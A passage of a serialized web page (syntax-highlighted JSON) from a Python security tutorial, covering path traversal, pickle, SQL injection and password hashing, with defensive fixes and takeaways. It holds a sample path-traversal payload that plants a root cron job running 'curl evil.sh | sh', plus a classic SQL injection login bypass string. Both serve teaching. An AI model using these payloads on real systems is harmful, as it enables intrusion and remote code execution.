entirely\n",[35,2569,2570,2573,2576,2578,2581,2584],{"class":37,"line":127},[35,2571,2572],{"class":71},"save_upload_wrong(",[35,2574,2575],{"class":104},"\"..\u002F..\u002Fetc\u002Fcron.d\u002Fmalicious\"",[35,2577,526],{"class":71},[35,2579,2580],{"class":67},"b",[35,2582,2583],{"class":104},"\"* * * * * root curl evil.sh | sh\"",[35,2585,414],{"class":71},[35,2587,2588],{"class":37,"line":142},[35,2589,61],{"emptyLinePlaceholder":60},[35,2591,2592],{"class":37,"line":147},[35,2593,2594],{"class":41},"# RIGHT — resolve the final path and verify it's still WITHIN the intended directory\n",[35,2596,2597,2599,2602],{"class":37,"line":153},[35,2598,288],{"class":67},[35,2600,2601],{"class":94}," save_upload_correct",[35,2603,2537],{"class":71},[35,2605,2606,2609,2611,2613,2615,2617],{"class":37,"line":165},[35,2607,2608],{"class":71},"    candidate ",[35,2610,159],{"class":67},[35,2612,908],{"class":71},[35,2614,2508],{"class":114},[35,2616,2550],{"class":67},[35,2618,2619],{"class":71}," filename).resolve()\n",[35,2621,2622,2624,2626,2629,2631],{"class":37,"line":204},[35,2623,383],{"class":67},[35,2625,464],{"class":67},[35,2627,2628],{"class":71}," candidate.is_relative_to(",[35,2630,2508],{"class":114},[35,2632,2633],{"class":71},".resolve()):\n",[35,2635,2636,2638,2640,2642,2645],{"class":37,"line":209},[35,2637,403],{"class":67},[35,2639,406],{"class":114},[35,2641,171],{"class":71},[35,2643,2644],{"class":104},"\"path traversal attempt detected\"",[35,2646,414],{"class":71},[35,2648,2649],{"class":37,"line":215},[35,2650,2651],{"class":71},"    candidate.write_bytes(content)\n",[1172,2653,2654,1190,2657,2659,2660,2663,2664,2667,2668,2671,2672,2675,2676,2679,2680,2682,2683,1194,2686,2689],{},[18,2655,2656],{},"pathlib",[18,2658,1194],{}," operator (and ",[18,2661,2662],{},"os.path.join",") performs no safety checking — a path component containing ",[18,2665,2666],{},"..\u002F"," segments happily walks back up out of the intended base directory, and Python will follow it. ",[18,2669,2670],{},"Path.resolve()"," normalizes the path (collapsing ",[18,2673,2674],{},".."," segments), and ",[18,2677,2678],{},"Path.is_relative_to()"," (Python 3.9+) verifies the resolved result is still contained within the expected root directory before any file operation touches disk. ",[1395,2681,1397],{},": any file path built even partially from user input — uploaded filenames, URL path segments, archive member names during extraction (a related, equally common vulnerability class in ",[18,2684,2685],{},"zipfile",[18,2687,2688],{},"tarfile"," handling) — must be validated to stay within its intended directory before use.",[14,2691,2693],{"id":2692},"tips-tricks","💡 Tips & Tricks",[2695,2696,2697,2724,2733,2746,2754],"ul",{},[2698,2699,2700,520,2703,908,2706,2709,2710,2712,2713,2715,2716,2719,2720,2723],"li",{},[1395,2701,2702],{},"Safety",[18,2704,2705],{},"bandit",[18,2707,2708],{},"pip install bandit && bandit -r src\u002F",") statically scans Python source for common security anti-patterns — hardcoded passwords, ",[18,2711,1103],{}," usage, insecure ",[18,2714,2003],{}," for security contexts, ",[18,2717,2718],{},"subprocess"," calls with ",[18,2721,2722],{},"shell=True"," — catching many of this chapter's mistakes automatically in CI before code review even starts.",[2698,2725,2726,520,2729,2732],{},[1395,2727,2728],{},"Debug",[18,2730,2731],{},"python -c \"import ssl; print(ssl.OPENSSL_VERSION)\""," quickly confirms which OpenSSL version a Python installation is linked against — relevant when diagnosing TLS-related CVEs that depend on the underlying OpenSSL version rather than Python itself.",[2698,2734,2735,2738,2739,2742,2743,2745],{},[1395,2736,2737],{},"Idiom",": prefer ",[18,2740,2741],{},"subprocess.run([...], shell=False)"," (the default) with an argument list over ",[18,2744,2722],{}," with a formatted string — the list form never invokes a shell to interpret the arguments, closing off an entire class of shell-injection vulnerabilities analogous to SQL injection.",[2698,2747,2748,520,2750,2753],{},[1395,2749,2702],{},[18,2751,2752],{},"secrets.token_urlsafe()"," defaults to 32 bytes of entropy if no argument is given — a reasonable default for most tokens, but check the specific security requirement (session tokens vs short-lived one-time codes) rather than assuming the default fits every case.",[2698,2755,2756,520,2759,2761,2762,2765,2766,2769],{},[1395,2757,2758],{},"Performance",[18,2760,2239],{},"'s cost factor (",[18,2763,2764],{},"bcrypt.gensalt(rounds=12)",", default 12) should be tuned periodically upward as hardware gets faster — the goal is that hashing remains \"slow enough to resist brute force\" relative to ",[1850,2767,2768],{},"current"," attacker hardware, not whatever was fast\u002Fslow when the code was first written.",[14,2771,2773],{"id":2772},"️-edge-cases-gotchas","⚠️ Edge Cases & Gotchas",[2695,2775,2776,2797,2805,2814,2838],{},[2698,2777,2778,2788,2789,2792,2793,2796],{},[1395,2779,2780,2783,2784,2787],{},[18,2781,2782],{},"pickle.loads"," executes attacker-controlled code via ",[18,2785,2786],{},"__reduce__"," with no warning, no exception, and no sandboxing"," — this applies to any pickle-based mechanism, including some caching libraries, some message queues' default serializers, and ",[18,2790,2791],{},"multiprocessing","'s default IPC serialization, all of which are safe only because the ",[1850,2794,2795],{},"inputs"," are trusted, not because pickle itself is safe.",[2698,2798,2799,2804],{},[1395,2800,2801,2803],{},[18,2802,1405],{}," still parses arbitrarily large or deeply nested literals, which can be used for a denial-of-service via resource exhaustion"," (a deeply nested list literal can cause significant recursion\u002Fmemory use) even though it can't achieve code execution — \"safe from RCE\" is not the same as \"safe from all abuse.\"",[2698,2806,2807,2813],{},[1395,2808,2809,2810,2812],{},"Parameterized queries protect values but never identifiers (table names, column names, ",[18,2811,1860],{}," direction)"," — attempting to pass a column name as a bind parameter either raises an error or silently does the wrong thing depending on the driver, and the only correct fix is allowlisting valid identifiers before string-interpolating them.",[2698,2815,2816,2827,2828,2830,2831,2833,2834,2837],{},[1395,2817,2818,2820,2821,2823,2824,2826],{},[18,2819,2111],{}," requires both arguments to be the same type (both ",[18,2822,746],{}," or both ",[18,2825,297],{},") and, for meaningful protection, both must be the same length as what a real value would be"," — comparing a ",[18,2829,297],{}," token against a ",[18,2832,746],{}," expected value raises ",[18,2835,2836],{},"TypeError"," rather than silently doing the wrong (fast, timing-leaky) comparison, which is a safety feature but can surprise developers used to Python's usually-permissive type coercion.",[2698,2839,2840,2847],{},[1395,2841,2842,2843,2846],{},"A dependency audit only catches ",[1850,2844,2845],{},"known, published"," vulnerabilities (CVEs) — a zero-day or an intentionally malicious package (a supply-chain attack via typosquatting or a compromised maintainer account) passes a clean audit with zero findings"," — audits are necessary but not sufficient; pinning exact versions via a lockfile and reviewing new\u002Funusual transitive dependencies before adding them are complementary defenses.",[14,2849,2851],{"id":2850},"spot-the-bug","🧠 Spot the Bug",[1172,2853,2854],{},"A login endpoint checks credentials against the database. It \"works\" in testing but a security review flags it immediately. Find the bug.",[23,2856,2857],{"language":25},[27,2858,2860],{"className":29,"code":2859,"language":25,"meta":31,"style":31},"import sqlite3\n\ndef login(username, password):\n    conn = sqlite3.connect(\"app.db\")\n    cursor = conn.cursor()\n    query = f\"SELECT id FROM users WHERE username = '{username}' AND password = '{password}'\"\n    cursor.execute(query)\n    return cursor.fetchone() is not None\n",[18,2861,2862,2868,2872,2882,2895,2904,2933,2938],{"__ignoreMap":31},[35,2863,2864,2866],{"class":37,"line":38},[35,2865,68],{"class":67},[35,2867,1434],{"class":71},[35,2869,2870],{"class":37,"line":45},[35,2871,61],{"emptyLinePlaceholder":60},[35,2873,2874,2876,2879],{"class":37,"line":51},[35,2875,288],{"class":67},[35,2877,2878],{"class":94}," login",[35,2880,2881],{"class":71},"(username, password):\n",[35,2883,2884,2887,2889,2891,2893],{"class":37,"line":57},[35,2885,2886],{"class":71},"    conn ",[35,2888,159],{"class":67},[35,2890,1448],{"class":71},[35,2892,1451],{"class":104},[35,2894,414],{"class":71},[35,2896,2897,2900,2902],{"class":37,"line":64},[35,2898,2899],{"class":71},"    cursor ",[35,2901,159],{"class":67},[35,2903,1463],{"class":71},[35,2905,2906,2908,2910,2912,2915,2917,2919,2921,2924,2926,2929,2931],{"class":37,"line":75},[35,2907,1487],{"class":71},[35,2909,159],{"class":67},[35,2911,1492],{"class":67},[35,2913,2914],{"class":104},"\"SELECT id FROM users WHERE username = '",[35,2916,180],{"class":114},[35,2918,1500],{"class":71},[35,2920,192],{"class":114},[35,2922,2923],{"class":104},"' AND password = '",[35,2925,180],{"class":114},[35,2927,2928],{"class":71},"password",[35,2930,192],{"class":114},[35,2932,1505],{"class":104},[35,2934,2935],{"class":37,"line":83},[35,2936,2937],{"class":71},"    cursor.execute(query)\n",[35,2939,2940,2942,2945,2948,2950],{"class":37,"line":88},[35,2941,338],{"class":67},[35,2943,2944],{"class":71}," cursor.fetchone() ",[35,2946,2947],{"class":67},"is",[35,2949,464],{"class":67},[35,2951,2952],{"class":114}," None\n",[2954,2955,2956,2960,2980,2991,2994,3104],"details",{},[2957,2958,2959],"summary",{},"Answer",[1172,2961,2962,2963,1104,2965,2967,2968,2971,2972,2975,2976,2979],{},"Two separate, serious bugs. First, the query is built with an f-string, directly interpolating both ",[18,2964,1500],{},[18,2966,2928],{}," into the SQL text — a classic SQL injection vulnerability. Supplying a username of ",[18,2969,2970],{},"' OR '1'='1' --"," makes the query become ",[18,2973,2974],{},"SELECT id FROM users WHERE username = '' OR '1'='1' --' AND password = '...'",", where ",[18,2977,2978],{},"--"," comments out the rest of the line, matching the first row in the table and logging in as an arbitrary user with no valid password at all.",[1172,2981,2982,2983,2986,2987,2990],{},"Second, even ignoring the injection, the query implies passwords are stored and compared as ",[1395,2984,2985],{},"plaintext"," in the ",[18,2988,2989],{},"users"," table — there's no hashing step anywhere, meaning a single database breach exposes every user's real password directly, and those same passwords are frequently reused across other services by real users.",[1172,2992,2993],{},"The fix addresses both issues independently:",[23,2995,2996],{"language":25},[27,2997,2999],{"className":29,"code":2998,"language":25,"meta":31,"style":31},"import sqlite3\nimport bcrypt\n\ndef login(username, password):\n    conn = sqlite3.connect(\"app.db\")\n    cursor = conn.cursor()\n    cursor.execute(\"SELECT id, password_hash FROM users WHERE username = ?\", (username,))\n    row = cursor.fetchone()\n    if row is None:\n        return False\n    user_id, password_hash = row\n    return bcrypt.checkpw(password.encode(), password_hash)\n",[18,3000,3001,3007,3013,3017,3025,3037,3045,3056,3066,3080,3087,3097],{"__ignoreMap":31},[35,3002,3003,3005],{"class":37,"line":38},[35,3004,68],{"class":67},[35,3006,1434],{"class":71},[35,3008,3009,3011],{"class":37,"line":45},[35,3010,68],{"class":67},[35,3012,2181],{"class":71},[35,3014,3015],{"class":37,"line":51},[35,3016,61],{"emptyLinePlaceholder":60},[35,3018,3019,3021,3023],{"class":37,"line":57},[35,3020,288],{"class":67},[35,3022,2878],{"class":94},[35,3024,2881],{"class":71},[35,3026,3027,3029,3031,3033,3035],{"class":37,"line":64},[35,3028,2886],{"class":71},[35,3030,159],{"class":67},[35,3032,1448],{"class":71},[35,3034,1451],{"class":104},[35,3036,414],{"class":71},[35,3038,3039,3041,3043],{"class":37,"line":75},[35,3040,2899],{"class":71},[35,3042,159],{"class":67},[35,3044,1463],{"class":71},[35,3046,3047,3050,3053],{"class":37,"line":83},[35,3048,3049],{"class":71},"    cursor.execute(",[35,3051,3052],{"class":104},"\"SELECT id, password_hash FROM users WHERE username = ?\"",[35,3054,3055],{"class":71},", (username,))\n",[35,3057,3058,3061,3063],{"class":37,"line":88},[35,3059,3060],{"class":71},"    row ",[35,3062,159],{"class":67},[35,3064,3065],{"class":71}," cursor.fetchone()\n",[35,3067,3068,3070,3073,3075,3078],{"class":37,"line":101},[35,3069,383],{"class":67},[35,3071,3072],{"class":71}," row ",[35,3074,2947],{"class":67},[35,3076,3077],{"class":114}," None",[35,3079,98],{"class":71},[35,3081,3082,3084],{"class":37,"line":108},[35,3083,130],{"class":67},[35,3085,3086],{"class":114}," False\n",[35,3088,3089,3092,3094],{"class":37,"line":121},[35,3090,3091],{"class":71},"    user_id, password_hash ",[35,3093,159],{"class":67},[35,3095,3096],{"class":71}," row\n",[35,3098,3099,3101],{"class":37,"line":127},[35,3100,338],{"class":67},[35,3102,3103],{"class":71}," bcrypt.checkpw(password.encode(), password_hash)\n",[1172,3105,3106,3109],{},[1395,3107,3108],{},"The lesson",": authentication code has two independent, equally critical security properties to get right — the query construction (parameterized, never string-formatted) and the credential storage (hashed with a slow, purpose-built algorithm, never plaintext or a fast general-purpose hash) — and a security review checks both, since fixing only one still leaves a critical vulnerability in production.",[14,3111,3113],{"id":3112},"key-takeaways","Key Takeaways",[2695,3115,3116,3128,3138,3141,3152,3160],{},[2698,3117,3118,3120,3121,3123,3124,3127],{},[18,3119,2782],{}," can execute arbitrary code via ",[18,3122,2786],{}," — never unpickle data from an untrusted source; use ",[18,3125,3126],{},"json"," or another data-only format for anything crossing a trust boundary.",[2698,3129,3130,1194,3132,3134,3135,3137],{},[18,3131,1103],{},[18,3133,1107],{}," have no real sandbox against a determined attacker — use ",[18,3136,1405],{}," for parsing literals and a purpose-built parser\u002Fevaluator for restricted expression languages.",[2698,3139,3140],{},"SQL queries must use parameterized placeholders for every value derived from external input, with zero exceptions — string formatting\u002Fconcatenation into SQL is the textbook SQL injection vulnerability; identifiers (column\u002Ftable names) need allowlist validation instead, since they can't be parameterized.",[2698,3142,3143,3144,2021,3146,3148,3149,3151],{},"Use ",[18,3145,1868],{},[18,3147,2003],{},", for anything security-sensitive (tokens, keys, reset codes), and ",[18,3150,2111],{}," for comparing them, to avoid both predictable-PRNG and timing-attack vulnerabilities.",[2698,3153,3154,3155,526,3157,3159],{},"Hash passwords with a slow, purpose-built algorithm (",[18,3156,2239],{},[18,3158,2243],{},") — fast general-purpose hashes like SHA-256 make large-scale offline brute-forcing feasible after a database breach.",[2698,3161,3162,3163,3165],{},"Run automated dependency audits (",[18,3164,2329],{},") in CI, and validate any user-influenced file path stays within its intended directory before touching disk — both are cheap, high-leverage defenses against entire vulnerability classes.",[3167,3168,3169],"style",{},"html pre.shiki code .sdCPZ, html code.shiki .sdCPZ{--shiki-default:#6A737D;--shiki-github-dark:#6A737D}html pre.shiki code .svdQ7, html code.shiki .svdQ7{--shiki-default:#D73A49;--shiki-github-dark:#F97583}html pre.shiki code .ssxIu, html code.shiki .ssxIu{--shiki-default:#24292E;--shiki-github-dark:#E1E4E8}html pre.shiki code .sIsaT, html code.shiki .sIsaT{--shiki-default:#6F42C1;--shiki-github-dark:#B392F0}html pre.shiki code .sJ6F3, html code.shiki .sJ6F3{--shiki-default:#032F62;--shiki-github-dark:#9ECBFF}html pre.shiki code .snvgF, html code.shiki .snvgF{--shiki-default:#005CC5;--shiki-github-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .github-dark .shiki span {color: var(--shiki-github-dark);background: var(--shiki-github-dark-bg);font-style: var(--shiki-github-dark-font-style);font-weight: var(--shiki-github-dark-font-weight);text-decoration: var(--shiki-github-dark-text-decoration);}html.github-dark .shiki span {color: var(--shiki-github-dark);background: var(--shiki-github-dark-bg);font-style: var(--shiki-github-dark-font-style);font-weight: var(--shiki-github-dark-font-weight);text-decoration: var(--shiki-github-dark-text-decoration);}html pre.shiki code .sCrzJ, html code.shiki .sCrzJ{--shiki-default:#E36209;--shiki-github-dark:#FFAB70}html pre.shiki code .sk71V, html code.shiki .sk71V{--shiki-default:#22863A;--shiki-github-dark:#85E89D}",{"title":31,"searchDepth":45,"depth":45,"links":3171},[3172,3174,3176,3177,3179,3180,3181,3182,3183,3184,3185],{"id":16,"depth":45,"text":3173},"pickle — Deserialization Is Arbitrary Code Execution",{"id":1100,"depth":45,"text":3175},"eval and exec: Executing Strings as Code",{"id":1419,"depth":45,"text":1420},{"id":1864,"depth":45,"text":3178},"The secrets Module: Cryptographically Secure Randomness",{"id":2115,"depth":45,"text":2116},{"id":2259,"depth":45,"text":2260},{"id":2473,"depth":45,"text":2474},{"id":2692,"depth":45,"text":2693},{"id":2772,"depth":45,"text":2773},{"id":2850,"depth":45,"text":2851},{"id":3112,"depth":45,"text":3113},"md",{},"\u002Fpython\u002F27-security",{"title":5,"description":31},"python\u002F27-security","I9LGRKrodUYDxlLiINywFRr5CcKCZh0-QZLTxpwAnRQ",1789924651843]